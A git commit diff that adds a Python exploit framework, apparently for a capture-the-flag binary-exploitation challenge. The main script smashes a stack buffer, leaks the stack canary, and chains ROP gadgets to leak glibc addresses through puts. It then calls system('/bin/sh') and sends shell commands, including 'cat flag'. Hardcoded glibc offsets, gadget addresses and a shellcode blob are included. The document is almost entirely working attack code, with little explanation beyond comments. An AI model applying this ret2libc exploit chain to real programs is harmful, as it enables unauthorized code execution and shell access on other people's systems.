summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
l---------sploit1
-rwxr-xr-xsploit.py205
-rwxr-xr-xsploitconfig.py13
-rwxr-xr-xsploitlog.py17
l---------sploitpipe1
-rwxr-xr-xsploitpipe.sh21
-rwxr-xr-xsploitrunner.py38
-rwxr-xr-xsploitutil.py34
8 files changed, 330 insertions, 0 deletions
diff --git a/sploit b/sploit
new file mode 120000
index 0000000..1ba655a
--- /dev/null
+++ b/sploit
@@ -0,0 +1 @@
+sploit.py \ No newline at end of file
diff --git a/sploit.py b/sploit.py
new file mode 100755
index 0000000..b277cb0
--- /dev/null
+++ b/sploit.py
@@ -0,0 +1,205 @@
+#!/usr/bin/env python3
+
+#if sploit is called with command line arguments,
+#it will use them to call the target program with popen
+#otherwise, sploit will use stdin/stdout
+#you can use sploitpipe to run sploit with pipes spltin/spltout
+#which can be used with the target program
+#<spltin ./target &>spltout
+#or from within gdb
+#r <spltin &>spltout
+#if given a program name on the command line, we'll use popen
+#otherwise, we use stdin/stdout
+#in the latter case, you can use sploitpipe to set up spltin and spltout
+
+import time
+
+import sploitutil as util
+import sploitrunner
+
+#specify which glibc offsets to use
+testing = True
+
+#puts,system,and binsh string offsets into glibc
+#https://libc.blukat.me/
+#https://libc.rip/
+#search two functions and the least significant 12 bits of their address
+#then use the resulting glibc to get offsets for the exploit
+#for whatever reason, some of these are off by a small amount
+#printing the contents out(even bytes of instructions)
+#and comparing to what I expect in gdb has been enough to figure it out
+#also, if we have the actual library
+#objdump -T libc.so | grep '_puts'
+#xxd libc.so | grep '/bin'
+
+#my kali glibc (puts:0x5f0,setvbuf:0xcd0)
+#https://libc.blukat.me/?q=_IO_puts%3A5f0%2C_IO_setvbuf%3Acd0
+#libc6_2.31-9_amd64
+#str_bin_sh was off for this one. I had to subtract 0x04 to get it right
+libc_offset = util.itob(0x0765f0)
+libc_system = util.itob(0x048e50)
+libc_execve = util.itob(0x0cb6c0)
+libc_exit = util.itob(0x0cb670)
+libc_binsh = util.itob(0x18a152)
+libc_poprdx_poprbx = util.itob(0x1376e2)
+#target glibc (puts:0x5a0,setvbuf:0xe60)
+#https://libc.blukat.me/?q=_IO_puts%3A5a0%2C_IO_setvbuf%3Ae60
+#libc6_2.31-0ubuntu9.2_amd64 (3 listed, but all I care about was the same)
+if not testing:
+ libc_offset = util.itob(0x0875a0)
+ libc_system = util.itob(0x055410)
+ libc_execve = util.itob(0x0e62f0)
+ libc_exit = util.itob(0x0e6290)
+ libc_binsh = util.itob(0x1b75aa)
+ libc_poprdx_poprbx = util.itob(0x162866)
+
+frame_len = 0x108
+
+string = b'Hello, World!\n'
+
+shellcode = b'\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0e\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff'+string
+
+payloads = {
+ 'null' : util.itob(0x00),
+ #stack smash
+ 'fill' : b'A'*(frame_len),
+ 'string' : string+b'A'*(frame_len-len(string)),
+ 'shellcode' : b'\x90'*(frame_len-len(shellcode))+shellcode,
+ 'canary' : util.itob(0xdeadbeef),
+ #stack addresses
+ 'buffaddr' : util.itob(0x7fffffff0000),
+ #static addresses
+ 'startaddr' : util.itob(0x4005d0),
+ 'targetaddr' : util.itob(0x400725),
+ 'pltaddr' : util.itob(0x4005c0),
+ 'gotaddr' : util.itob(0x600fe8),
+ 'gotaddr2' : util.itob(0x601030),
+ #rop gadgets
+ 'ret' : util.itob(0x400801),
+ 'poprdi' : util.itob(0x400873),
+ 'poprsi_popr15' : util.itob(0x400871)
+}
+
+
+def sploit(stdin, stdout):
+ c = util.Communication(stdin,stdout)
+
+ def preamble():
+ #preamble
+ c.recv()
+ #smash the stack up to canary
+ #+ a newline to overwrite the null and delimit the next two readlines
+ c.send( payloads['fill']
+ +b'\n')
+ #most of the echo
+ c.recv()
+ #get the canary from the echo
+ out = c.recv()
+ canary = b'\x00'+out[:7]
+ return canary
+
+ #rop to find the address of setvbuf in memory
+ #for the purpose of looking up the glibc offsets in a database
+ canary = preamble()
+ ropchain = payloads['poprdi'] #pop rdi,ret
+ ropchain += payloads['gotaddr2'] #rdi; pointer to setvbuf.got
+ ropchain += payloads['pltaddr'] #ret puts
+ #rop to find the address of puts in memory
+ #for the purpose of looking up the glibc offsets in a database
+ #and then we will use this to calculate our glibc base at runtime
+ ropchain += payloads['poprdi'] #pop rdi,ret
+ ropchain += payloads['gotaddr'] #rdi; pointer to puts.got
+ ropchain += payloads['pltaddr'] #ret puts
+ ropchain += payloads['startaddr'] #ret _start to fix stack
+ #smash stack again, but with canary and rop
+ #this will print out the address of puts in memory
+ c.send( payloads['fill']
+ +canary
+ +payloads['buffaddr']
+ +ropchain)
+
+ #get the glibc puts address
+ c.recv()
+ out = c.recv()
+ libc_addr = out[:8]
+ #if puts() terminated on a \x00 (like the most sig bits of an address)
+ #our [:8] might get less than 8 bytes of address + a newline
+ #so strip that newline
+ if libc_addr[-1:] == b'\n':
+ libc_addr = libc_addr[:-1]
+ #calculate glibc base address
+ libc = util.Libc(libc_addr,libc_offset)
+ libc_base = libc.base()
+ #use that to calculate other glibc addresses
+ system_addr = libc.addr(libc_system)
+ execve_addr = libc.addr(libc_execve)
+ exit_addr = libc.addr(libc_exit)
+ binsh_addr = libc.addr(libc_binsh)
+ poprdx_poprbx_addr = libc.addr(libc_poprdx_poprbx)
+
+ canary = preamble()
+ #print first few bytes of glibc
+ #this is to validate our offset
+ #a proper ELF file starts with '\x7fELF'
+ ropchain = payloads['poprdi'] #pop rdi,ret
+ ropchain += libc_base #rdi; pointer to glibc
+ ropchain += payloads['pltaddr'] #ret puts
+ #rop to puts("/bin/sh")
+ #this is to validate our offset
+ ropchain += payloads['poprdi'] #pop rdi,ret
+ ropchain += binsh_addr #rdi; pointer to "/bin/sh"
+ ropchain += payloads['pltaddr'] #ret puts
+ ropchain += payloads['startaddr'] #ret _start
+ c.send( payloads['fill']
+ +canary
+ +payloads['buffaddr']
+ +ropchain)
+ c.recv()
+ c.recv()
+
+ #rop to execve("/bin/sh",0,0)
+ #canary = preamble()
+ #ropchain = payloads['poprdi'] #pop rdi,ret
+ #ropchain += binsh_addr #rdi; pointer to "/bin/sh"
+ #ropchain += payloads['poprsi_popr15'] #pop rsi,pop r15,ret
+ #ropchain += payloads['null'] #rsi
+ #ropchain += payloads['null'] #r15
+ #ropchain += poprdx_poprbx_addr #pop rdx,pop rbx,ret
+ #ropchain += payloads['null'] #rdx
+ #ropchain += payloads['null'] #rbx
+ #ropchain += execve_addr #ret execve
+ #ropchain += payloads['poprdi'] #pop rdi,ret
+ #ropchain += payloads['null'] #rdi 0
+ #ropchain += exit_addr #ret exit to exit cleanly
+
+ #rop to system("/bin/sh")
+ canary = preamble()
+ ropchain = payloads['poprdi'] #pop rdi,ret
+ ropchain += binsh_addr #rdi; pointer to "/bin/sh"
+ ropchain += payloads['ret'] #extra ret for 16byte stack alignment
+ ropchain += system_addr #ret system
+ ropchain += payloads['poprdi'] #pop rdi,ret
+ ropchain += payloads['null'] #rdi 0
+ ropchain += exit_addr #ret exit to exit cleanly
+ c.send( payloads['fill']
+ +canary
+ +payloads['buffaddr']
+ +ropchain)
+
+ #we need to synchronize when read() finishes before sending more data
+ #we could insert another puts() into the rop and call c.recv()
+ #or we can just sleep for a second
+ time.sleep(1)
+
+ #try some shell commands
+ c.send(b'whoami\n')
+ c.send(b'pwd\n')
+ c.send(b'ls\n')
+ c.send(b'cat flag\n')
+ c.send(b'cat flag.txt\n')
+ c.send(b'exit\n')
+
+ return
+
+#run our sploit
+sploitrunner.runsploit(sploit)
diff --git a/sploitconfig.py b/sploitconfig.py
new file mode 100755
index 0000000..084a59d
--- /dev/null
+++ b/sploitconfig.py
@@ -0,0 +1,13 @@
+#!/usr/bin/env python3
+
+import sys
+
+#if given a program name on the command line, we'll use popen
+#otherwise, we use stdin/stdout
+#in the latter case, you can use sploitpipe to set up spltin and spltout
+use_popen = len(sys.argv) > 1
+#sleep for this many seconds to give time to attach gdb
+wait_for_gdb = 0
+#will decode output with this encoding for printing
+#or if empty, will print as bytes
+log_encoding = ''#'utf-8'
diff --git a/sploitlog.py b/sploitlog.py
new file mode 100755
index 0000000..eab1fc7
--- /dev/null
+++ b/sploitlog.py
@@ -0,0 +1,17 @@
+#!/usr/bin/env python3
+
+import os
+
+import sploitconfig as config
+
+#this function does not look at the run mode and will write to stdout regardless
+#use sploitutil.log instead
+def sploitlog(s):
+ if config.log_encoding != '':
+ s = s.decode(config.log_encoding)
+ print(s)
+
+if __name__ == '__main__':
+ stdin = os.fdopen(0,"rb")
+ for s in stdin:
+ sploitlog(s)
diff --git a/sploitpipe b/sploitpipe
new file mode 120000
index 0000000..3e5a956
--- /dev/null
+++ b/sploitpipe
@@ -0,0 +1 @@
+sploitpipe.sh \ No newline at end of file
diff --git a/sploitpipe.sh b/sploitpipe.sh
new file mode 100755
index 0000000..a761ad5
--- /dev/null
+++ b/sploitpipe.sh
@@ -0,0 +1,21 @@
+#!/bin/bash
+
+#sets up sploit.py to use the input/output of a target program
+#after running ./sploit you can launch the target program with
+#<spltin ./target_program &>spltout
+#also works in gdb
+#r <spltin &>spltout
+#or run the program in the background and set the gdb wait timer in sploit.py
+# <spltin ./target_program &>spltout &
+# gdb -p <pid that gets printed out when backgrounding target>
+
+rm spltin 2> /dev/null
+rm spltout 2> /dev/null
+
+mkfifo spltin
+mkfifo spltout
+
+<spltout tee >(./sploit.py &>spltin) | ./sploitlog.py
+
+rm spltin
+rm spltout
diff --git a/sploitrunner.py b/sploitrunner.py
new file mode 100755
index 0000000..f0e5ac6
--- /dev/null
+++ b/sploitrunner.py
@@ -0,0 +1,38 @@
+#!/usr/bin/env python3
+
+import os
+import sys
+import subprocess
+import time
+
+import sploitconfig as config
+import sploitutil as util
+
+#infrastructure to run sploit
+#if sploit is called with command line arguments,
+#it will use them to call the target program with popen
+#otherwise, sploit will use stdin/stdout
+#you can use sploitpipe to run sploit with pipes spltin/spltout
+#which can be used with the target program
+#<spltin ./target &>spltout
+#or from within gdb
+#r <spltin &>spltout
+def runsploit(sploit):
+ if config.use_popen:
+ print(sys.argv[1:])
+ p = subprocess.Popen(sys.argv[1:],stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
+
+ stdin = p.stdout if config.use_popen else os.fdopen(0,"rb")
+ stdout = p.stdin if config.use_popen else os.fdopen(1,"wb")
+
+ if config.wait_for_gdb > 0:
+ time.sleep(config.wait_for_gdb)
+
+ #exec custom sploit
+ sploit(stdin,stdout)
+
+ #read anything else out and wait for termination
+ for line in stdin:
+ util.log(line)
+ if config.use_popen:
+ p.wait()
diff --git a/sploitutil.py b/sploitutil.py
new file mode 100755
index 0000000..00d2151
--- /dev/null
+++ b/sploitutil.py
@@ -0,0 +1,34 @@
+#!/usr/bin/env python3
+
+import sploitconfig as config
+from sploitlog import sploitlog
+
+def btoi(b):
+ return int.from_bytes(b,'little')
+
+def itob(i):
+ return i.to_bytes(8,'little',signed=True)
+
+class Libc:
+ def __init__(self,libc_addr,libc_offset):
+ self.libc_base = btoi(libc_addr)-btoi(libc_offset)
+ def base(self):
+ return itob(self.libc_base)
+ def addr(self,offset):
+ return itob(self.libc_base + btoi(offset))
+
+def log(s):
+ if config.use_popen:
+ sploitlog(s)
+
+class Communication:
+ def __init__(self,stdin,stdout):
+ self.stdin = stdin
+ self.stdout = stdout
+ def send(self,s):
+ self.stdout.write(s)
+ self.stdout.flush()
+ def recv(self):
+ out = self.stdin.readline()
+ log(out)
+ return out